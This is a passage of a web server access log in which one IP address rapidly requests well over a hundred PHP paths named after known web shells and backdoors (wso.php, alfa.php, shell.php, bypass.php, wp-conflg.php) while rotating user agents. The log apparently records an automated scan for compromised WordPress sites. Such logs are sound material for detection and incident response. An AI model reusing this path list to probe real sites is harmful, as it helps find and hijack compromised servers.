- - [21/Apr/2026:01:52:54 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:55 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:56 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:57 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 